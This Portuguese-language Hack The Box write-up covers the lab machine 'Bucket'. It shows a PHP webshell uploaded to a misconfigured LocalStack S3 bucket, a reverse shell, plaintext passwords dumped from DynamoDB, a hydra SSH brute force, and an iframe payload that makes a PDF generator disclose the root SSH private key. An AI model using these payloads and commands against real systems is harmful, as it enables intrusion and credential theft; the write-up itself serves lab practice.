Olá pessoal!
A máquina desta semana será Bucket, outra máquina classificada como mediana do Hack The Box, criada por MrR3boot.
Info
Write-ups para máquinas do Hack The Box são postados assim que as respectivas máquinas são aposentadas.
Particularmente achei essa máquina bem legal, onde tive a oportunidade de “brincar” um pouco com os serviços de armazenamento da AWS, mesmo que em uma instância local para desenvolvedores.
A sua resolução esteve bastante ligada a este serviço onde tivemos que identificar uma forma de incluir um arquivo no site publicado para obter um shell reverso, obter a flag de user com credenciais existentes no DynamoDB.
O flag de root foi obtido após abuso de uma aplicação ainda em desenvolvimento, onde utilizamos uma vulnerabilidade de LFI para obter a chave do id_rsa e assim obter acesso interativo com esta conta.
Enumeração
Como de costume, iniciamos com a enumeração rápida do nmap para identificar os serviços publicados nesta máquina:
$ nmap -sC -sV -Pn -oA quick 10.10.10.212Nmap 7.91 scan initiated Fri Feb 26 08:16:37 2021 as: nmap -sC -sV -Pn -oA quick 10.10.10.212Nmap scan report for 10.10.10.212Host is up (0.077s latency).Not shown: 998 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)80/tcp open http Apache httpd 2.4.41|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Did not follow redirect to http://bucket.htb/Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Fri Feb 26 08:16:48 2021 -- 1 IP address (1 host up) scanned in 10.55 seconds80/TCP - Serviço HTTP
Uma vez que notei um redirect para bucket.htb, incluí a entrada no arquivo hosts apontando para o endereço IP da máquina.
Ao acessar o site, notei que diversas imagens não foram carregadas adequadamente, as quais apontavam para s3.bucket.htb, vide chamada curl abaixo. Após incluir também esta entrada no arquivo hosts, o carregamento da página ocorreu com sucesso.
$ curl -L http://bucket.htb | grep -Eo 'href=".*"|src=".*"' | sort -u % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 5344 100 5344 0 0 33822 0 --:--:-- --:--:-- --:--:-- 33822href="#"href="#"><i class="fab fa-facebook-square"href="#"><i class="fab fa-instagram"href="#"><i class="fab fa-linkedin"href="#"><i class="fab fa-twitter"src="http://s3.bucket.htb/adserver/images/bug.jpg" alt="Bug" height="160" width="160"src="http://s3.bucket.htb/adserver/images/cloud.png" alt="cheer" height="160" width="160"src="http://s3.bucket.htb/adserver/images/malware.png" alt="Malware" height="160" width="160"s3.bucket.htb
Ao identificar o DNS s3.bucket.htb me chamou atenção para o nome, o qual faz referência ao serviço Amazon S3, que provê armazenamento de arquivos no formato blob em nuvem.
Analisando o webserver da requisição para uma das URLs de imagem, notei que se utiliza de outro webserver (hypercorn-h11), diferente do Apache listado no Scan do NMAP para a página na URL bucket.htb, o que significa que temos outro serviço na máquina ou há algum tipo de proxy na requisição neste virtual host.
Para validar o que temos nesta estrutura, realizei uma enumeração utilizando o gobuster e encontrei dois diretórios interessantes: health e shell
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://s3.bucket.htb -o gobuster-s3.txt===============================================================Gobuster v3.0.1by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)===============================================================[+] Url: http://s3.bucket.htb[+] Threads: 10[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[+] Status codes: 200,204,301,302,307,401,403[+] User Agent: gobuster/3.0.1[+] Timeout: 10s===============================================================2021/02/26 09:42:22 Starting gobuster===============================================================/health (Status: 200)/shell (Status: 200)Progress: 2643 / 220561 (1.20%)É importante mencionar que são diretórios, pois o resultado para as chamadas em cada um dos nomes via curl com ou sem a barra ao final é diferente, conforme podemos ver abaixo:
$ curl -L http://s3.bucket.htb/health{"services": {"s3": "running", "dynamodb": "running"}}
$ curl -L http://s3.bucket.htb/health/{"status": "running"}$ curl -L http://s3.bucket.htb/shell
$ curl -L http://s3.bucket.htb/shell/<!DOCTYPE html><html itemscope itemtype="http://schema.org/Product"> <head> <title>AWS Console</title> <meta charset="UTF-8">
<!-- Application -->[...]Como a última chamada (curl -L http://s3.bucket.htb/shell/) retornou o conteúdo de uma página HTML, refiz a requisição no navegador e notei que estava acessando à página do DynamoDB Web Shell.
Pesquisando um pouco pude chegar à conclusão de que estávamos utilizando um emulador de storage da AWS, possivelmente uma instancia do Localstack, muito popular entre desenvolvedores.

Brincando com alguns dos exemplos da página, consegui listar algumas informações da instancia (ListTables e DescribeTable), conforme abaixo, onde podemos listar algumas informações como a região do serviço (us-east-1) e uma tabela chamada users no DynamoDB, assim como o seu respectivo resource name arn:aws:dynamodb:us-east-1:000000000000:table/users.

Considerando que estamos falando de uma instância do LocalStack, descobri que é possível utilizar o awscli, utilitário de linha de comando da AWS, para se conectar à esta instância local, conforme post Local Development with AWS on LocalStack (reflectoring.io).
Como o awscli é mais flexível para enumerar e trabalhar com os recursos do que o DynamoDB Web Shell, segui para a instalação via apt e sua conexão utilizando as informações obtidas no post acima citado, o qual foi executado conforme abaixo. Para as credenciais, quaisquer valores são válidos, uma vez que não se trata de uma instância real em execução na AWS.
# Install aws cli$ sudo apt install awscli -y[...]$ aws configure --profile bucket.htbAWS Access Key ID [None]: dummyAWS Secret Access Key [None]: dummyDefault region name [None]: us-east-1Default output format [None]:Lendo a documentação do awscli para o DynamoDB, executei algumas consultas simples para listar as tabelas e entradas existentes, conforme abaixo, onde pude obter alguns usuários e senhas que poderão ser úteis futuramente.
$ aws dynamodb list-tables \ --endpoint-url http://s3.bucket.htb \ --profile bucket.htb \ --output json{ "TableNames": [ "users" ]}
$ aws dynamodb scan \ --table-name users \ --endpoint-url http://s3.bucket.htb \ --profile bucket.htb \ --output json{ "Items": [ { "password": { "S": "Management@#1@#" }, "username": { "S": "Mgmt" } }, { "password": { "S": "Welcome123!" }, "username": { "S": "Cloudadm" } }, { "password": { "S": "n2vM-<_K_Q:.Aa2" }, "username": { "S": "Sysadm" } } ], "Count": 3, "ScannedCount": 3, "ConsumedCapacity": null}Como sabemos que temos um s3 também em execução, enumerei algumas informações sobre os containers blob existentes, onde foi encontrado o adserver (o que já tínhamos uma ideia por conta da URL das imagens conforme previamente enumerado) e confirmamos qual o conteúdo deste bucket.
$ aws s3 ls \ --endpoint-url http://s3.bucket.htb \ --profile bucket.htb2021-02-26 11:48:02 adserver
$ aws s3 ls s3://adserver \ --endpoint-url http://s3.bucket.htb \ --profile bucket.htb PRE images/2021-02-26 11:50:04 5344 index.html
$ aws s3 ls s3://adserver/images/ \ --endpoint-url http://s3.bucket.htb \ --profile bucket.htb2021-02-26 11:52:02 37840 bug.jpg2021-02-26 11:52:02 51485 cloud.png2021-02-26 11:52:02 16486 malware.pngAcesso inicial
Uma vez que temos acesso ao blob s3 e sabemos quais conteúdos disponíveis e como utilizá-lo, a primeira coisa a se fazer é realizar o upload de um arquivo para shell reverso. Em primeiro momento vamos validar a possibilidade de utilizar php com um webshell simples conforme abaixo:
<?php system($_GET['cmd']); ?>Após a criação do arquivo, realizado o upload via CLI vide comandos abaixo:
$ aws s3 cp ./exploit.php s3://adserver/ \ --endpoint-url http://s3.bucket.htb \ --profile bucket.htbupload: ./exploit.php to s3://adserver/exploit.php
$ aws s3 --endpoint-url http://s3.bucket.htb --profile bucket.htb ls s3://adserver/ PRE images/2021-02-26 11:56:28 31 exploit.php2021-02-26 11:56:02 5344 index.htmlAo tentar acessá-lo alguns instantes depois, notei que o arquivo que enviei foi removido por outro processo. Para tentar contornar a questão, configurei para que a chamada de execução de comando fosse realizada assim que o upload fosse finalizado, executando o comando id, onde pudemos confirmar o sucesso na tarefa realizada.
$ aws s3 cp ./exploit.php s3://adserver/ \ --endpoint-url http://s3.bucket.htb --profile bucket.htb && curl -L http://bucket.htb/exploit.php?cmd=idupload: ./exploit.php to s3://adserver/exploit.phpuid=33(www-data) gid=33(www-data) groups=33(www-data)Para um shell reverso, alterei o arquivo a ser enviado de exploit.php pelo pentestmonkey/php-reverse-shell (github.com) que já iniciaria a conexão reversa a um listener previamente definido, sem a necessidade de enviar parâmetros no payload, o qual tivemos sucesso após algumas tentativas.
aws s3 --endpoint-url http://s3.bucket.htb --profile bucket.htb cp ./exploit.php s3://adserver/ && curl -L http://bucket.htb/exploit.phpUser flag
Uma vez com acesso ao shell da máquina, executei o linpeas.sh para simplificar a enumeração, onde os seguintes itens foram identificados:
- Usuário local
roypossui acesso à máquina e, enumerando seu diretório observado a existencia do arquivouser.txt, o qual não temos acesso leitura com a contawww-dataalém de uma pastaprojecta ser inspecionada.- Este usuário não possui nenhum processo em execução que eventualmente permita a exploração logo precisaremos obter suas credenciais de alguma forma.
- Alguns outros serviços encontram-se em execução nesta máquina, funcionando nas portas 4566, 8000 e 38443, que possivelmente venham a dar privilégios a outras atividades em um segundo momento.
[+] Active Ports[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-portsActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 127.0.0.1:38443 0.0.0.0:* LISTEN -tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -tcp 0 0 127.0.0.1:4566 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -- Esta máquina possui serviços de container em execução (
ctr,runc), que executam provavelmente o localstack e que poderiam ser avaliados para escalação de privilégios. - Existe um diretório
/var/www/bucket-appque pode ser a aplicação servida em uma das portas identificadas, mas que não possuímos acesso de leitura com a conta utilizada.
Dos pontos mencionados, o que mais chamou atenção foi o possível website em execução nas portas citadas, logo iniciei por verificar as configurações ativas no Apache (/etc/apache2/sites-enabled) onde tínhamos o arquivo 000-default.conf listado abaixo, mas não encontrei nada sobre a porta 38443, mas tive a informação sobre a porta 4566, que é publicada pela porta 80 e na porta 8000, que é publicado o website disponível na pasta /var/www/bucket-app.
<VirtualHost 127.0.0.1:8000> <IfModule mpm_itk_module> AssignUserId root root </IfModule> DocumentRoot /var/www/bucket-app</VirtualHost>
<VirtualHost *:80> DocumentRoot /var/www/html RewriteEngine On RewriteCond %{HTTP_HOST} !^bucket.htb$ RewriteRule /.* http://bucket.htb/ [R]</VirtualHost><VirtualHost *:80> ProxyPreserveHost on ProxyPass / http://localhost:4566/ ProxyPassReverse / http://localhost:4566/ <Proxy *> Order deny,allow Allow from all </Proxy> ServerAdmin webmaster@localhost ServerName s3.bucket.htb
ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>Embora possível identificar os serviços ativos apenas a partir da máquina local, precisaremos realizar a exploração apenas via linha de comando ou precisaremos de uma conta na máquina para tunelar o acesso a partir de SSH.
Já que os websites não permitiram muitos detalhes na enumeração, decidi testar as senhas obtidas anteriormente via DynamoDB para o usuário roy e felizmente tivemos sucesso. Abaixo a execução do hydra que utilizei para automatizar brute force na conta via SSH.
$ hydra -l roy -P passwords 10.10.10.212 -t 4 sshHydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-02-26 12:55:36[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task[DATA] attacking ssh://10.10.10.212:22/[22][ssh] host: 10.10.10.212 login: roy password: n2vM-<_K_Q:.Aa21 of 1 target successfully completed, 1 valid password foundHydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-02-26 12:55:40Uma vez que tínhamos agora acesso à máquina com as credenciais do usuário roy, coletei a flag de usuário após me conectar via SSH:
roy@bucket:~$ iduid=1000(roy) gid=1000(roy) groups=1000(roy),1001(sysadm)roy@bucket:~$ cat user.txt<redacted>Root flag
Com o acesso ao usuário roy pude validar o acesso aos diretórios project, que tem aparentemente uma estrutura de um website, além de conseguir com esta conta acessar o conteúdo da aplicação em /var/www/bucket-app que possui estrutura bastante similar ao encontrado na pasta project, o qual fiz uma cópia para análise a partir da máquina atacante.
Analisando o conteúdo de index.php temos um algo bem interessante: uma função escondida para que sempre que chamada POST na página http://127.0.0.1:8000 com o parâmetro action=get_alerts, é feita uma consulta numa tabela alerts no DynamoDB em que os valores com Title Ransonware são incluídos em um PDF e disponibilizados na pasta /var/www/bucket-app/files/.
<?phprequire 'vendor/autoload.php';use Aws\DynamoDb\DynamoDbClient;if($_SERVER["REQUEST_METHOD"]==="POST") { if($_POST["action"]==="get_alerts") { date_default_timezone_set('America/New_York'); $client = new DynamoDbClient([ 'profile' => 'default', 'region' => 'us-east-1', 'version' => 'latest', 'endpoint' => 'http://localhost:4566' ]);
$iterator = $client->getIterator('Scan', array( 'TableName' => 'alerts', 'FilterExpression' => "title = :title", 'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")), ));
foreach ($iterator as $item) { $name=rand(1,10000).'.html'; file_put_contents('files/'.$name,$item["data"]); } passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf"); }}else{?>Uma vez que não temos uma tabela chamada alerts, conforme já enumerado, precisaremos criá-la com os atributos title e data, este, por sua vez, com conteúdo HTML a ser renderizado e posteriormente salvo no formato PDF, permitindo a possível obtenção de dados sensíveis da máquina.
Para os testes iniciais, conforme documentação da AWS disponível neste link, criei um script para criação da tabela, inclusão de uma entrada e posterior chamada POST na URL em questão para gerar o arquivo PDF.
Para simplificar este processo, que está sendo feito da máquina atacante, realizados os seguintes procedimentos:
- Na máquina atacante, criado chave RSA (
ssh-keygen) e atribuido chave pública dela ao usuárioroyna máquina bucket para que não fosse necessário o uso de senhas durante a autenticação. - Na máquina atacante também foi criado o tunelamento da porta local 8000/TCP, a qual foi redirecionada para a porta 8000 na máquina bucket, fazendo o serviço disponível também localmente, o que posteriormente foi possível validar acessando localmente a página conforme evidencia abaixo
ssh roy@10.10.10.212 -L 8000:127.0.0.1:8000
Após algumas tentativas, notei que similar ao desafio encontrado durante o upload do shell reverso, os itens criados no DynamoDB também são removidos após algum tempo, logo foi necessário encadear todas as requisições para que tivéssemos tempo para executar a ação imediatamente assim que os recursos estivessem disponíveis, assim como a posterior cópia dos ativos se obtivermos sucesso na chamada.
aws dynamodb create-table \ --table-name alerts \ --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S \ --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE \ --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=10 \ --endpoint-url http://s3.bucket.htb \ --profile bucket.htb && \aws dynamodb put-item \ --table-name alerts \ --item '{"title": {"S": "Ransomware"},"data": {"S": "<html><head><title>Title</title></head><body><h1>Head 1</h1><p>Content</p></body></html>"}}' \ --return-consumed-capacity TOTAL \ --endpoint-url http://s3.bucket.htb \ --profile bucket.htb && \curl --data "action=get_alerts" http://localhost:8000/Após algumas tentativas, seguido do desafio do tempo para cópia do arquivo para a máquina atacante, foi possível gerar e copiar o arquivo PDF com base no HTML enviado.
roy@bucket:/var/www/bucket-app/files$ ls -latotal 16drwxr-x---+ 2 root root 4096 Feb 26 18:51 .drwxr-x---+ 4 root root 4096 Feb 10 12:29 ..-rw-r--r-- 1 root root 88 Feb 26 18:51 7627.html-rw-r--r-- 1 root root 1870 Feb 26 18:51 result.pdf
Uma vez que conseguimos renderizar o conteúdo desejado, precisamos encontrar uma forma de incluir arquivos na página renderizada e que resulta no PDF, de modo a dar continuidade na exploração.
A forma mais fácil de obter o root flag seria importar o arquivo /root/root.txt, porém isso não nos dá um shell reverso de fato. Seguindo o exemplo da máquina Passage, podemos buscar por um arquivo /root/.ssh/id_rsa e nos conectar à máquina via shell interativo, porém nosso maior problema no momento é inserir o conteúdo destes em um arquivo HTML.
Após algumas pesquisas, a forma mais simples de alcançar este objetivo sem o uso de Javascript é utilizando um iframe, onde as alterações, para a qual incluí a tag <iframe src="/root/.ssh/id_rsa" seamless></iframe> no HTML utilizado anteriormente, conforme chamadas abaixo:
aws dynamodb create-table \ --table-name alerts \ --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S \ --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE \ --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=10 \ --endpoint-url http://s3.bucket.htb \ --profile bucket.htb && \aws dynamodb put-item \ --table-name alerts \ --item '{"title": {"S": "Ransomware"},"data": {"S": "<html><head><title>Title</title></head><body><h1>Head 1</h1><iframe src=\"/root/.ssh/id_rsa\" seamless></iframe></body></html>"}}' \ --return-consumed-capacity TOTAL \ --endpoint-url http://s3.bucket.htb \ --profile bucket.htb && \curl --data "action=get_alerts" http://localhost:8000/Após o procedimento foi possível baixar o aquivo /var/www/bucket-app/files/result.pdf e, com o conteúdo presente neste arquivo, criar o arquivo id_rsa, o qual foi posteriormente utilizado para conectar-se à máquina via SSH e obter a shell a partir do usuário root.
root@bucket:~# iduid=0(root) gid=0(root) groups=0(root)root@bucket:~# cat /root/root.txt<redacted>Espero que tenham gostado!
Vejo vocês novamente em breve no próximo post! :smiley: